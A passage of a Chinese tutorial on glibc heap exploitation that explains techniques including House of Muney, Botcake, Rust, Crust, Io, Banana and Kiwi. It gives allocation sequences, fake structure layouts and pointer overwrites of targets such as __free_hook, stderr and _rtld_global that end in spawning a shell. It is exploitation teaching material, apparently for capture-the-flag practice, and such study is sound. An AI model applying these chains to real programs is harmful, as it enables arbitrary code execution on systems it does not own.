[ 状态二:堆溢出现场,A 的身份被篡改 ]

0x55...00010000 +------------------------------------+
| Chunk O 的头部 |
+------------------------------------+
| [ 你发送的垃圾填充数据... ] |
| |
0x55...00010020 +====================================+ <--- 物理边界被踏破
| Chunk A 的头部 |
| prev_size: [被垃圾数据覆盖] |
| size: 0x25 | <--- 极其致命!打上了非主线程烙印!
+------------------------------------+
| Chunk A 用户数据... |
+------------------------------------+

然后free(A)

系统检查 A 的大小,发现是 0x25,提取出 N 标志位为 1。

系统得出结论:“Chunk A 不属于主线程,我得去找它的专属 Arena!”

系统将 A 的堆地址 0x55...00010020,无脑向低地址对齐到 64MB 的整数倍。 由于 0x55... 这个常规堆区(通常没有 64MB 那么大)在对齐后,得到的基地址可能是 0x55...00000000 (注:在最严谨的实战中,为了保证对齐后的地址落在我们可控的 Chunk M 里,黑客往往会利用 mmap 将 Chunk A 本身也分配在高位地址,或者通过堆喷射控制整个 0x55 区域的对齐边界。只要对齐后的地址在我们手里,逻辑就成立。假设对齐后落在了我们伪造的边界上。)

系统读取对齐边界处的 ar_ptr,拿到了 Fake Arena 的地址。

系统执行 Fastbin 插入:将 Chunk A 的地址,写入 Fake_Arena -> fastbinsY[idx]

[ 状态三:任意地址写完成 ]

因为 fastbinsY[idx] 的物理坐标就是 Target:

[ 目标内存 Target (例如某个 GOT 表入口) ]
覆盖前: [ 真实函数的地址 ]
覆盖后: [ 0x55...00010020 (Chunk A 的绝对堆地址) ]

House of Muney

适用版本:2.23—— 至今

堆溢出

当你的程序申请了一个远超 mmap_threshold(通常是 128KB,即 0x20000)的内存时,glibc 会果断放弃堆区,直接调用内核系统调用 mmap 去分配

连续申请两个超大块

执行 malloc(0x40000),得到 Chunk O

执行 malloc(0x40000),得到 Chunk A

在很多 Linux 发行版的默认配置下,内核为了防止内存碎片,会将连续的 mmap 请求映射在物理上紧紧相邻的区域。由于 mmap 区通常向低地址生长,后申请的块往往在先申请的块的下方(更高地址处)

绝对物理地址
(低地址)
0x7f...000000 +------------------------------------+ <--- Chunk O (0x40000) 的起始
| Chunk O 的头部 (mmap_chunk Header) |
| Size: 0x40002 | <--- (末位 2 代表 mmap 标志)
+------------------------------------+ <--- Chunk O 的用户数据区起始
| |
| [ 我们拥有写入权限的 0x40000 空间] |
| |
| |
0x7f...040000 +====================================+ <--- Chunk O 的物理结尾
+------------------------------------+ <--- Chunk A (受害者) 的物理起始
| Chunk A 的头部 (Header) |
| Size: 0x40002 | <--- 这里就是我们要篡改的目标!
+------------------------------------+ <--- Chunk A 的数据区起始
| |
| |
0x7f...080000 +====================================+ <--- Chunk A 的物理结尾

因为 libc.so.6 本身也是程序启动时通过 mmap 加载进内存的,所以新分配的 Chunk A,极其容易被内核紧紧贴在 libc.so.6 的“上方”(也就是低地址处)

[ 状态一:物理内存的紧密贴靠 (低地址在上,高地址在下) ]

绝对内存地址
0x7f...040000 +------------------------------------+
| Chunk A 头部 (mmap 块) |
| Size: 0x40002 | <--- (末尾的 2 代表 IS_MMAPPED 标志位)
+------------------------------------+
| Chunk A 的用户数据区 |
| (大小刚好是 0x40000) |
0x7f...080000 +====================================+ <--- 致命的楚河汉界 (完美接壤)
| libc.so.6 的 ELF Header |
| (包含关键的 Program Headers) |
+------------------------------------+
| libc.so.6 的动态链接结构区 |
| (包含 .hash, .dynsym, .dynstr 等) | <--- 占用约 0x5000 大小
0x7f...085000 +------------------------------------+
| libc.so.6 的代码段 (.text 等) |
| ... |
+------------------------------------+

程序在后续的逻辑中,如果对 chunk_O 进行写入操作时,没有做严格的边界检查(Bounds Check),这就构成了一个经典的堆溢出漏洞

那么我们就可以利用这个漏洞越界写(OOB)或任意地址写漏洞,去修改 Chunk A 的头部

核心机制: 对于带有 IS_MMAPPED 标志位的块,glibc 的 free() 根本不去检查什么垃圾桶,它只做一件事:读取 Size,然后直接调用内核函数 munmap(chunk_address, size)

我们将 Chunk A 的 Size 从 0x40002 强行改为 0x45002

然后 free(A)

glibc 看到 Chunk A 带有 mmap 标志,毫不犹豫地准备将其交还给操作系统。

glibc 读取 Size,得到 0x45000

glibc 向内核下达死命令:munmap(0x7f...040000, 0x45000)

Linux 内核是一个绝对服从的机器,它直接将从 0x7f...040000 开始,向下横跨 0x45000 字节的所有内存页,全部从页表中抹除(Unmap)

此时,libc.so.6 赖以生存的符号表、哈希表、字符串表,已经连同 Chunk A 一起被内核收回了

接着我们立刻执行 malloc(0x45000)

内核为了省事,大概率会直接把刚才那个被掏空的 0x45000 大小的区域,重新分配给你

你现在拥有了写入这块区域的绝对权力。你拿着原本属于 libc 头部的坐标,往里面疯狂灌注精心伪造的 ELF 动态链接结构

接下来,你只需要在程序中,触发一次原本应该调用的库函数(比如程序接下来正常执行了一句 puts("Hello");

  1. 程序跳入 PLT 表,准备解析 puts 的真实地址。
  2. 系统调用动态链接器核心组件 _dl_runtime_resolve
  3. 链接器去内存里寻找 libc 的符号表,结果直接读到了你伪造的那张表
  4. 链接器以为自己在查 puts,实际上根据你伪造的索引,它查到了 system 的地址。
  5. 链接器把 system 的地址填入 GOT 表,并跳转执行。
  6. 如果你提前控制了 rdi 寄存器(参数为 /bin/sh),get shell

House of Botcake

适用版本:2.26—— 至今

double free

我们连续申请 10 个大小相同(且大于 0x80,通常选 0x1000x110)的堆块

[ 状态零:开局物理内存布局 ]

+-------------------+
| Chunk T1 ~ T7 | ---> 连续 7 个 0x100 的块。
| (0x100 * 7) | ---> 角色:Tcache 填充物 (Filler)
+-------------------+
| Chunk A (0x100) | ---> 角色:合并用的上半块 (Top Half)
+-------------------+
| Chunk B (0x100) | ---> 角色:真正的受害者 (The Victim)
| | ---> 前提:程序存在漏洞,允许我们 free(B) 两次!
+-------------------+
| Chunk C (0x20) | ---> 角色:永远的隔离墙 (Guard)
| | ---> 作用:防止 B 与 Top Chunk 合并
+-------------------+
| Top Chunk |
+-------------------+

我们要刻意制造一种“Tcache 已经装不下”的假象。

动作: 依次执行 free(T1)free(T7)

Tcache [0x100] 的桶被塞满(Count = 7)。此时系统立下死规矩:接下来任何人再释放 0x100 的块,Tcache 拒收,必须走慢速通道扔进 Unsorted Bin

然后free(A) 系统一看 Tcache 满了,直接把 Chunk A 扔进 Unsorted Bin

free(B) 系统处理 Chunk B 时,由于 Tcache 依然是满的,它准备把 B 也扔进 Unsorted Bin

在放进 Unsorted Bin 之前,系统会检查 B 物理位置上方(低地址)的相邻块。发现上面的 Chunk A 也是空闲的, 系统立刻执行合并操作:把 A 和 B 融合成一个巨大的块(大小为 0x200),挂入 Unsorted Bin

[ 状态一:合并后的空间折叠现场 ]

+-------------------+ \
| Chunk A 的头部 | |
| Size ===> 0x201 | |
+-------------------+ |
| Chunk A 数据区 | |
+-------------------+ | ===> 系统眼中:这是一个躺在 Unsorted Bin 里的 0x200 完整大块!
| Chunk B 的头部 | | (它根本不知道 B 曾经是一个独立的块)
| (已被当做普通数据)| |
+-------------------+ |
| Chunk B 数据区 | |
+-------------------+ /
| Chunk C (Guard) |
+-------------------+

执行 malloc(0x100)

系统优先从 Tcache [0x100] 里拿走了一个块(比如 T7)交给你

Tcache [0x100] 的 Count 减 1 变成了 6,腾出了 1 个空位

再次执行 free(B)

系统收到 free(B),检查 B 原本的头部,认为它是个 0x100 的块。

系统去查 Tcache [0x100],发现 Count = 6,有空位,准备接收!

【安检时刻】:系统检查 B 里面的 key,看看它是不是已经被释放过了。

【安检通过】:因为 B 在第二步被放入的是unsorted bin,肚子里根本没有 key

系统得出结论:“合法释放!将其放入 Tcache!”

[ 状态二:完美的 Overlap (重叠) 形成! ]

【Unsorted Bin 视角】
+-------------------+
| 包含 A+B 的 0x200 | ---> 它认为这一整块 0x200 都是它的领地。
| 的超级大块 |
+-------------------+

【Tcache [0x100] 视角】
+-------------------+
| 指向 Chunk B 地址 | ---> 它认为 B 是一个独立合法的 0x100 块。
+-------------------+
(奇观出现:Chunk B 既被包含在 Unsorted Bin 的大块里,又独立挂在 Tcache 的链表上!)

最后执行 malloc(0x200)

系统会把 Unsorted Bin 里那个 0x200 的超级大块(A+B)完完整整地交给你。 你现在可以直接跨过 A 的区域,向下覆写 Chunk B 的头部和数据区

[ 状态三:物理篡改现场 ]

你正在编辑刚拿到的 0x200 内存 (起始地址在 A):

+0x000: [ 随便写点垃圾数据填满 A ]
...
+0x100: [ 写入 00 00 00 00 00 00 00 00 ] ===> 物理覆盖 Chunk B 的 prev_size
+0x108: [ 写入 0x101 (伪造合法 Size) ] ===> 物理覆盖 Chunk B 的 size
+0x110: [ 写入 __free_hook 的绝对地址! ] ===> 物理覆盖 Chunk B 的 next (fd) 指针!
+0x118: [ 随便写点垃圾数据... ]

可以把 __free_hook 写进了 B 的 next (fd) 指针里。而 B 此时正是 Tcache [0x100] 的链表头!

系统眼里的 Tcache 变成了这样: Tcache [0x100] ===> [ Chunk B ] ---> [ __free_hook 的绝对地址 ]

最后malloc(0x100):成功拿到 __free_hook所在的内存!写入system` 拿下 Shell

House of Rust

适用版本:2.26—— 至今

堆溢出,Double Free

前置知识:

在 glibc 2.26 引入 Tcache 之后,系统需要一个地方来记录“各个尺寸的桶里现在有几个块(counts)”以及“各个桶的链表头指针在哪(entries)”

这个负责记录数据的结构体,就是 tcache_perthread_struct

它存在于每个线程所属堆区(Heap)的最开头

当你的程序启动,第一次调用哪怕是最简单的 malloc(8) 时,glibc 会在底层向操作系统申请一大块内存(比如 132KB 的初始堆区)。 然后,glibc 会自作主张地从这块内存的绝对最顶部,切下第一块肉(大小通常是 0x250 或 0x290),专门用来存放这个管理结构体

[ 堆区的绝对物理起点 (Heap Base) ]

绝对地址
0x55...000000 +------------------------------------+
| 头部: prev_size (0) , size (0x251) | <--- 这是堆上的第 1 个 Chunk!
0x55...000010 +====================================+ <--- tcache_perthread_struct 的真正起点!
| counts 数组 (2字节 * 64个桶) |
| [0x20的个数] [0x30的个数] ... | ---> 比如 [ 7, 0, 2, ... ]
0x55...000090 +------------------------------------+
| entries 数组 (8字节 * 64个桶) | <--- 极其致命的指针区!
| entries[0] (0x20的链表头) | ===> 指向某个 0x20 的堆块
| entries[1] (0x30的链表头) | ===> 0 (为空)
| ... |
| entries[7] (0x90的链表头) | ===> 指向某个 0x90 的堆块
| ... |
0x55...000250 +====================================+
| 头部: prev_size, size | <--- 这是堆上的第 2 个 Chunk (你第一次 malloc 拿到的块)
+------------------------------------+
| 你的用户数据... |

TSU (tcachebin stash unlinking)技巧:

  • tcachebin[A] 为空
  • smallbin[A]8
  • 修改第 8smallbin chunkbkaddr
  • 分配 malloc(A) 的时候,addr+0x10 会被写一个 libc 地址

TSU+ (tcachebin stash unlinking+)技巧:

  • tcachebin[A] 为空
  • smallbin[A]8
  • 修改第 7smallbin chunkbkaddr,还要保证 addr+0x18 是一个合法可写的地址
  • 分配 malloc(A) 的时候,addr 会被链入到 tcachebin,也就是可以分配到 addr

假设我们选定操作的 Size 是 0x90

先准备堆块如下:

[ 状态零:我们需要的初始物理内存块 (申请阶段) ]

+-------------------+
| tcache 控制中枢 | ---> (系统自动建好的第一个块,大小 0x250)
+-------------------+
| Chunk T1 ~ T7 | ---> 连续申请 7 个 0x90 的块。
| (0x90 * 7) | ---> 角色:Tcache 填充物 (用于填满 Tcache[0x90])
+-------------------+
| Chunk S1 ~ S7 | ---> 申请 7 个 0x90 的块,其中每申请一个块紧接着申请一个 Guard 块 (0x20)防止合并,这里忽略了
| (0x90 * 7) |
+-------------------+
| Chunk Guard_1 | ---> 隔离墙,防止合并
+-------------------+
| Chunk O (0x20) | ---> 角色:溢出源 (Weapon)。具有跨界写漏洞。
+-------------------+
| Chunk S8 (0x90) | ---> 角色:受害者 (Victim)。这是 Small Bin 的第 8 个块。
| | ---> 它的头部将承受 Chunk O 的无情溢出!
+-------------------+
| Chunk Guard_2 | ---> 隔离墙,防止 S8 释放时与 Top Chunk 合并
+-------------------+
| TOP Chunk |
+-------------------+

按照 glibc 的规则,块被释放后,必须先塞满 Tcache,多出来的才能进 Unsorted Bin。再经过一次分配,Unsorted Bin 里的块才会被整理进 Small Bin

我们的 pwntools 动作:

  1. 释放 T1 ~ T7。 —> 此时 Tcache [0x90] 的 7 个位置全部满员。
  2. 释放 S1 ~ S8。 —> 因为 Tcache 满了,它们全部掉进 Unsorted Bin。
  3. 申请一个极大的块(比如 malloc(0x400))。 —> 系统被逼着去整理内存,把 S1 ~ S8 全部按顺序挂入 Small Bin [0x90] 的双向链表中
  4. 申请走 T1 ~ T7。 —> 把 Tcache [0x90] 彻底清空**
[ 状态一:陷阱布置完毕的双向链表 ]

此时,Tcache [0x90] 是空的。
Small Bin [0x90] 里挂着 8 个块,形成双向链表:
头部 ===> [ Chunk S1 ] <===> [ S2 ] <===> ... <===> [ Chunk S7 ] <===> [ Chunk S8 ] <=== 尾部

现在,触发 TSU 搬运机制的先决条件满足了:Tcache 为空,且 Small Bin 里有货

我们往 Chunk O 里写入超长数据,把small bin里最后一个chunk S8的size 改成 0xb0

然后我们l利用Double Free对 S8 执行 free

因为它的 Size 变成了 0xb0,而此时 tcachebin[0xb0] 没满,系统会将它放入 tcachebin[0xb0]

致命机制触发: 当一个块进入 Tcache 时,系统会在它的 bk 位置写入 tcache_key(用来防连释)。在 glibc 2.34 之前,这个 key 就是 tcache_perthread_struct + 0x10 的绝对堆地址! 我们接着利用溢出漏洞,对这个 bk 指针进行局部覆盖(Partial Overwrite,爆破 1/16),修改它的末尾两个字节,让它精准指向我们想要劫持的目标区域(比如中枢的 entries 数组)

[ 状态三:S8 的 bk 成功拿到中枢地址并被微调 ]

【被篡改的 Chunk S8 (依然挂在 Small Bin [0x90] 的链表上!)】
+------------------------------------+
| Size: 0xb1 (被强行改为 0xb0 级别) |
+------------------------------------+
| fd: [ 指向 S7] |
| bk: 0x55xxxxxx0050 | <--- 这里的堆地址被我们微调,精准指向了中枢内部!
+------------------------------------+

我们即将在下一步触发 TSU+(Tcache Stash Unlinking+),TSU+会顺着 S8 的 bk 把目标地址搬进 Tcache,但 TSU+底层会执行一次完整的 unlink 操作,它会检查 Target->bk 是不是一个可写的合法地址,如果不是,程序当场崩溃。

所以,我们需要利用 Large Bin Attack 的“任意地址写堆地址”特性,先往 S8->bk->bk 的位置强行塞入一个合法的堆地址,把坑垫平

垫平后,我们连续 7 次 malloc(0x90),把第一步填满的 tcachebin[0x90] 全部抽空

接着调用 malloc(0x90)

系统来到 Small Bin,把 S8 拿走交给你。

系统开始搬运!它顺着 S8 的 bk 往回摸,摸到了 TARGET (控制中枢)

系统把 TARGET 塞进 Tcache[0x90]

[ 状态三:中枢被挂载 ]

Tcache [0x90] 链表:
头部 ===> [ tcache_perthread_struct (TARGET) ] ---> ...

再执行一次 malloc(0x90),你就拿到了整个堆控制中枢的写入权

新的堆风水

  1. 申请 7 个 0xA0 的块(填满 Tcache[0xA0])。
  2. 申请 1 个 0xA0 的块(设为 N1),以及它的 Guard 隔离块。
  3. 释放它们,将 N1 送入 Small Bin[0xA0

利用堆溢出,改写 N1 的 bk 指针。 这次我们不搞 TSU+ 那种塞入 Tcache 的复杂操作,我们只想要 TSU 脱链时的副作用(bck->fd = libc地址)。 我们将 N1 的 bk 改为:tcache_perthread_struct + 0x80 - 0x10(减去 0x10 是因为底层是往 bk + 0x10 的位置写地址,这样就能精准写到中枢的 +0x80 处。)

连续 malloc 抽空 Tcache[0xA0]

再次执行 malloc(0xA0)

系统从 Small Bin 拿走 N1,触发 TSU 搬运

解链 N1 时,系统执行 bck->fd = libc地址

结果就是系统将 libc 内部的 main_arena 地址,直接写到了 tcache_perthread_struct + 0x80 的位置(也就是 entries[0x20] 的位置)

在上一步你已经获得了整个tcache_perthread_struct 的写入权,

虽然你不知道 +0x80 位置的那个 libc 地址具体是多少(因为有 ASLR 随机化),但你可以直接覆写它的最后两字节

你通过写入你手里的这块内存,把 +0x80 位置的最后两个字节改成 _IO_2_1_stdout_ 的偏移。 现在,那个 libc 地址从 main_arena 变成了 stdout 的地址

然后执行 malloc(0x20),系统去查 Tcache[0x20] 的链表头(也就是 entries[0x20]),直接把 stdout 的内存分配给你

你手里的中枢内存 (偏移 +0x80 处):
TSU 砸入的初始状态:[ 0x7fxxxxxxB0A0 (main_arena) ](entries[0x20])
你原地写入两字节: [ B6A0 ]
系统眼里的链表头: [ 0x7fxxxxxxB6A0 (_IO_2_1_stdout_) ] ===> malloc(0x20) 直接拿走

stdout 里写入伪造的 _flags_IO_write_base 等字段(经典的 FSOP 泄露技巧)

程序接下来随便调用一句 puts,就会把真实的 libc 基地址全部喷泄到终端上

算出 __free_hook 的真实绝对地址(libc_base + offset)。

在你手里的 tcache_perthread_struct 内存中,把 __free_hook 的地址写入 entries[0x40]

执行 malloc(0x40),拿到 __free_hook 的内存权

往里面写入 system 函数的地址。

随便 free 一个内容是 "/bin/sh" 的堆块,Shell 弹出

House of Crust

适用版本:2.26——2.37

堆溢出

其实house of crust = house of corrosion + house of rust

在 House of Rust 的第四步结束时,我们已经通过普通的 TSU 操作,让系统把 main_arena(纯正的 libc 地址)写进了我们控制的中枢 tcache_perthread_struct

在 Rust 中,我们把 main_arena 的低位改成了 stdout。 而在 Crust 中,我们的目标是:global_max_fast

我们直接在手里这块中枢内存里,对 +0x80 位置的指针进行原地局部覆盖(Partial Overwrite)

我们修改最后两个字节,使其指向 global_max_fast(需要 1/16 的爆破概率)。

我们执行 malloc(0x20),直接拿到了 global_max_fast 所在的内存!

我们往里面写入一个极其巨大的数字(比如直接写入一个堆地址,或者 0x7fffffff

【libc 数据段内部】
修改前:global_max_fast = 0x80
修改后:global_max_fast = 0x55xxxxxx0000 (一个巨大的堆地址!)

接下来就是 House of Corrosion 的核心原语:利用 Fastbin 数组越界(Out-of-Bounds)实现 libc 任意地址写堆地址

在 libc 的 main_arena 里,有一个专门存放 Fastbin 链表头的数组,叫 fastbinsY。 当你 free(大小为 S 的块) 时,系统会用公式计算索引:idx = (S - 0x20) / 0x10。 然后执行:main_arena.fastbinsY[idx] = 你的堆块地址

因为 global_max_fast 已经被我们改成了天文数字,系统现在不再检查 idx 是否越界了

这意味着,只要我们精心构造一个超大尺寸的 Chunk(设为 Chunk C),让它算出来的 idx 刚好跨出 fastbinsY 数组,延伸到 main_arena 下方的 _IO_2_1_stderr_ 指针所在的位置,然后释放它

算出 stderr 距离 fastbinsY 的偏移差(假设是 0x1000 字节)

反推需要的 Chunk Size:Size = 0x1000 * 2 + 0x20(大概计算逻辑)

我们在堆上伪造一个这么大的 Chunk C,然后执行 free(C)

系统算出 idx,直接把 Chunk C 的绝对堆地址,精准地砸在了 stderr 的全局指针上

【libc 数据段的物理空间】
main_arena:
fastbinsY[0]
...
fastbinsY[9]
[ 正常的 libc 数据区 ... ]
...
_IO_2_1_stderr_ 指针 ===> [ 被越界覆盖为 Chunk C 的绝对堆地址! ]

我们在 Chunk C 的内存里,精心布置一个假的 _IO_FILE 结构体

我们在它的 vtable(虚函数表)指针里,填入附近某个被废弃块留下的 libc 地址,并利用局部覆盖(Partial Overwrite)把它微调成 one_gadget 的绝对地址

然后我们故意制造一个极其低级的错误(比如连续 free 同一个块,或者毁掉某个块的 Size)

系统检查到错误,调用 malloc_printerr 准备向终端打印报错信息

打印报错信息必须经过 stderr 文件流!系统顺着被我们篡改的指针来到 Chunk C,调用了我们伪造的虚表

指令流直接跳入 one_gadget,拿 Shell

需要注意的是:

  • 2.37 之后,house of corrosion 使用受限,意味着这个House of Crust的后半段受限

House of Io

适用版本:2.26—— 至今

堆溢出, Arbitrary Free

在 glibc 2.32+ 的 Safe-Linking 机制下,普通的 Chunk 一旦被 free,它的 fd 指针会被加密(fd ^ (地址 >> 12))。 但 tcache_perthread_struct 里面的 entries 数组,绝对不会被加密!系统在 malloc 时,是直接明文读取这里的地址的。

并且,这个控制中枢本身,也是堆上的一块内存。它有一个标准的 Chunk 头部。在很多 64 位系统中,它的大小刚好是 0x290

[ 状态零:开局的绝对物理现场 ]

0x55...000000 +------------------------------------+
| 头部: prev_size (0) , size (0x291) | <--- 中枢也是个合法的 Chunk
0x55...000010 +====================================+ <--- 中枢的绝对用户数据起始地址
| counts 数组 [ 64 个桶的计数器 ] |
| |
+------------------------------------+
| entries 数组 [ 64 个桶的明文指针 ] | <--- 【这里是明文!】
| [0x20] ===> 0 |
| ... |
| [0x290]===> 0 |
+------------------------------------+

前置条件: 程序必须存在漏洞(比如 Arbitrary Free 任意地址释放,或者能通过 UAF/越界写篡改某个即将被释放的指针),允许我们向系统的 free() 函数,传入 tcache_perthread_struct 的用户数据地址(即 0x55...000010

执行 free(0x55...000010)

系统收到地址,往回退 0x10 字节读取 Size,发现是 0x291(大小 0x290,前块使用中)

系统去查当前线程的 Tcache [0x290],发现没满

于是系统决定把这块内存挂入 Tcache [0x290] 的链表头上。它去修改 tcache_perthread_struct 里的 entries[0x290]counts[0x290]

[ 状态一:我 把 我 自 己 扔 进 了 垃 圾 桶 ]

系统底层的物理动作:
1. counts[0x290] += 1
2. entries[0x290] = 0x55...000010 (把它自己的地址,写进了自己的数组里)

物理内存透视图:
0x55...000010 +====================================+
| counts 数组 |
| ... |
| counts[0x290] = 1 |
+------------------------------------+
| entries 数组 |
| ... |
| entries[0x290] ===> 0x55...000010 | <--- 完美的闭环死结
+------------------------------------+

此时,由于 Safe-Linking 机制,系统还会在这个块的开头(也就是 counts 数组的位置)写入加密后的 fd。这会破坏一部分 counts 数据,但无所谓,因为 entries 数组在更靠后的位置,完好无损

执行 malloc(0x280)*(注:用户请求 0x280,系统加上 0x10 头部,刚好分配 0x290 的块)*

接着系统就把tcache_perthread_struct这块分配给了用户

然后直接往手里的这块内存(假设 entries[0x20] 的位置),明文写入 __free_hook 的绝对地址

顺手把 counts[0x20] 的值改成 1(假装里面有块)

执行 malloc(0x20)

系统去读 entries[0x20],拿到你写的明文地址,直接把 __free_hook 的内存分配给你

[ 状态二:降维打击,无视 Safe-Linking ]

你手里的中枢:
+------------------------------------+
| counts[0x20] = 1 |
| ... |
| entries[0x20] = [ __free_hook 的绝对地址 ] <--- 没有任何异或加密
+------------------------------------+

最后改_free_hook再触发free就可以了

House of Banana

适用版本:2.23—— 至今

堆溢出

在 glibc 2.30 之后,传统的改 fd/bk 的 Large Bin Attack 被增加了检查(fwd->fd->bk == victim 的双向链表完整性校验)

但是,官方漏掉了对 nextsize 链表(用于连接不同大小的 Large Bin 块)的检查

前置知识:

当你执行 ./pwn 运行一个程序时,操作系统实际上并没有直接去执行你的 main 函数

真实的流程是:

  1. 内核把你的程序加载到内存。
  2. 内核发现你的程序依赖了动态库(比如 libc.so),于是内核先启动了动态链接器 ld.so
  3. ld.so 接管一切。它负责把 libc.so 加载进来,把 printfmalloc 这些函数的真实地址填好
  4. 准备工作全部做完后,ld.so 才把控制权交给你程序的 main 函数
  5. 当你程序的 main 函数 return,或者调用了 exit() 时,控制权又会交还给 ld.so,让它来负责“收尸”(清理内存、卸载库)

既然 ld.so 要管理加载进来的各种 .so 文件(你的程序本身、libc.solibpthread.so 等等),它就必须有一个“全局账本”。

这个全局账本就是一个存在于 ld.so 数据段的超级巨大的结构体,名字叫:_rtld_global

在这个账本里,有一个极其关键的变量:_ns_loaded

  • _ns 代表 Namespace(命名空间,一般程序都在第 0 个命名空间)。
  • loaded 代表“已加载的模块”。

_ns_loaded 本质上是一个指针。它指向了一个双向链表的头部。这个链表里的每一个节点,叫做 link_map

什么是 link_map 你可以把它理解为每个 .so 文件在内存里的“身份证”。里面记录了这个库的基地址(l_addr)、名字(l_name)、以及各种函数表和数据段在内存里的偏移(l_info 数组)

当程序结束(exit),ld.so 派出了它的收尸人:_dl_fini 函数

_dl_fini 的任务是:去执行每一个加载了的 .so 文件里的析构函数(即在这个库里写好的清理代码)

_dl_fini 的真实工作流:

  1. 找到花名册: 读取 _rtld_global._ns_loaded,拿到链表头。
  2. 挨个点名: 顺着链表,遍历每一个 link_map
  3. 寻找遗言: 在每个 link_mapl_info 数组里,寻找代表“析构函数数组”的标签(即 DT_FINI_ARRAY)。
  4. 执行遗言: 如果找到了 DT_FINI_ARRAY,就把它当成一个函数指针数组,从后往前,挨个 call 执行

了解之后就可以开始利用

先布置堆块布局如下:

+-------------------+
| Chunk O (0x20) |
+-------------------+
| Chunk L1 (0x420) |
+-------------------+
| Guard 1 (0x20) | <--- 隔离墙
+-------------------+
| Chunk L2 (0x400) |
+-------------------+
| Guard 2 (0x20) | <--- 隔离墙
+-------------------+

提前向 Chunk L2 写入伪造的 DT_FINI_ARRAY 指针、假的 _IO_FILE 结构、l_init_called = 1 等等

free(L1) L1进入unsorted bin

malloc(0x430)申请一个比L1更大的块

系统在处理 malloc(0x430) 时,去查 Unsorted Bin,发现里面的 L1 (0x420) 尺寸不够。然后把 L1 摘下来,挂进了 Large Bin

【躺在 Large Bin 里的 Chunk L1】
+0x00: prev_size, size (0x421)
+0x10: fd, bk (正常的 Large Bin 指针)
+0x20: fd_nextsize, bk_nextsize (指向它自己,因为目前桶里只有它一个)

利用程序的堆溢出漏洞,编辑 Chunk O,写入超长数据,跨界覆盖物理相邻的 Chunk L1

我们要改的是 L1 的 bk_nextsize

改成:&_rtld_global._ns_loaded - 0x20

+0x00: prev_size, size (原样恢复,防止报错)
+0x10: fd, bk (原样恢复)
+0x20: fd_nextsize (无所谓)
+0x28: bk_nextsize ===> [ &_rtld_global._ns_loaded - 0x20 ] <--- 改的这里

接着是Large bin attack

free(L2) ,L2进入unsorted bin

再次申请malloc(0x430) ,系统整理L2进入Large bin

系统判断:L2 (0x400) 比 L1 (0x420) 小,应该插在 L1 的后面(维护 nextsize 链表的顺序)

系统执行 C 源码:fwd->fd->bk_nextsize = victim; (翻译成物理动作:L1->bk_nextsize->fd_nextsize = L2的绝对堆地址)

即(&rtld_global.ns_loaded – 0x20) + 0x20 = Chunk L2 的绝对堆地址

【ld.so 数据段的 _rtld_global 结构体】
+------------------------------------+
| ... |
| _ns_loaded ===> [ Chunk L2 的绝对堆地址]
| ... |
+------------------------------------+

输入特定的菜单选项让程序退出,或者让 main 函数正常 return,触发底层的 exit()

exit() 启动 _dl_fini 准备卸载动态库。

_dl_fini 读取 _ns_loaded 链表头,结果直接读到了你的 Chunk L2

_dl_finiChunk L2 强行解析为一个 link_map 结构体。

它读取了你在第一步就伪造好的 l_init_calledl_info[DT_FINI_ARRAY] 等参数。

顺着你伪造的指针,它找到你填写的 system 或者 one_gadget 函数地址。

call 指令执行,拿到 Shell

House of Kiwi

适用版本:2.23——2.36

堆溢出

先布置堆结构如下:

[ 状态零:开局物理布局 ]

+-------------------+
| Chunk F (0x200) | <--- 我们的假文件流,现在是空的。
+-------------------+
| Chunk T1 (0x20) |
+-------------------+
| Chunk T2 (0x20) | <--- 假设我们能通过某个漏洞(如溢出)改写它的 fd。
+-------------------+
| Chunk O (0x20) |
+===================+
| Top Chunk |
| size: 0x20f00 |
+-------------------+

Chunk F 写入伪造的 _IO_FILE 结构。

  • 偏移 0x00 (_flags):写入 "\x20\x80;sh||"(既绕过 _lock 检查,又包含了 Shell 命令)
  • 偏移 0xC0 (_mode):写入 0x00000000
  • 偏移 0xD8 (vtable):写入 _IO_file_jumps - 0x20 的绝对地址。(为了让系统在调用偏移 0x38 的函数时,错位执行到 _IO_file_overflow)

然后free(T1), free(T2)

此时 Tcache[0x20] 的链表是: 头部 ===> T2 ===> T1 ===> 0

假设我们利用 F 或 T1 的某种溢出/UAF,改写了 T2 的 fd (next 指针)

此时 Tcache[0x20] 的链表变成了: 头部 ===> T2 ===> [ stderr 的绝对地址 ]

然后连续两次malloc(0x20)

第一次把T2拿走,第二次拿到stderr 所在的内存

往 stderr 里写入 Chunk F 的绝对地址

利用程序的堆溢出漏洞,向 Chunk O 写入超长数据,直接跨越物理边界,覆盖掉紧挨在它下方的 Top Chunk 的头部

我们将 Top Chunk 原本合法的巨大 Size(比如 0x20f01),极其暴力地改成一个小到不合法的数字,比如 0x10

[ 状态一:现场布置完毕 ]

+-------------------+
| Chunk O (溢出源) |
| [ 你的恶意数据 ] |
+===================+ <--- 物理边界被踏破!
| Top Chunk 头部 |
| prev_size: 0x00 |
| size: 0x11 | <--- 极其致命!(末位 1 代表前块在用,实际大小 0x10)
+-------------------+
| 剩下的荒野内存... |

然后malloc(0x1000) ,系统一看Tcache、Fastbin、Small Bin 甚至 Unsorted Bin 统统装不下

准备从 Top Chunk 里切一块,却发现Top Chunk的size根本不够

断言触发 (Assert):系统底层源码执行:assert (chunksize (old_top) >= MINSIZE); 发现 0x10 < 0x20

系统放弃执行,调用 __malloc_assert 函数

  1. __malloc_assert 内部调用了格式化输出函数 __fxprintf
  2. __fxprintf 需要通过系统的标准错误流来打印,于是它去获取 stderr 指针。
  3. 它拿到了我们在第二步强行塞进去的 Chunk F 的地址
  4. 它将 Chunk F 强行解析为一个 _IO_FILE 结构体,并试图调用虚表里的刷新函数(偏移 0x38)。
  5. 它读取了我们伪造的虚表基址(_IO_file_jumps - 0x20),加上 0x38 的偏移。
  6. 它精准地定位到了 libc 内部的 _IO_file_overflow 函数。
  7. 系统执行 call _IO_file_overflow,并且默认将文件流本身(即 Chunk F 的首地址)作为第一个参数 rdi 传入。

因为 Chunk F 的开头被我们写成了 "\x20\x80;sh||",只要后续利用链顺着 overflow 的逻辑跳转到了 system(rdi),那么: system("\x20\x80;sh||") 就会被完美执行,终端弹出

House of Emma

适用版本:2.23—— 至今

堆溢出

前置知识:

什么是 TLS (Thread Local Storage)?

在多线程程序里,每个线程都需要有一些自己私有的全局变量(比如记录当前线程有没有报错的 errno)。这块专门给单个线程使用的私有内存,就叫 TLS。

在这块内存的头部,有一个叫 tcbhead_t 的结构体,里面存放着两个极其重要的安全数据:

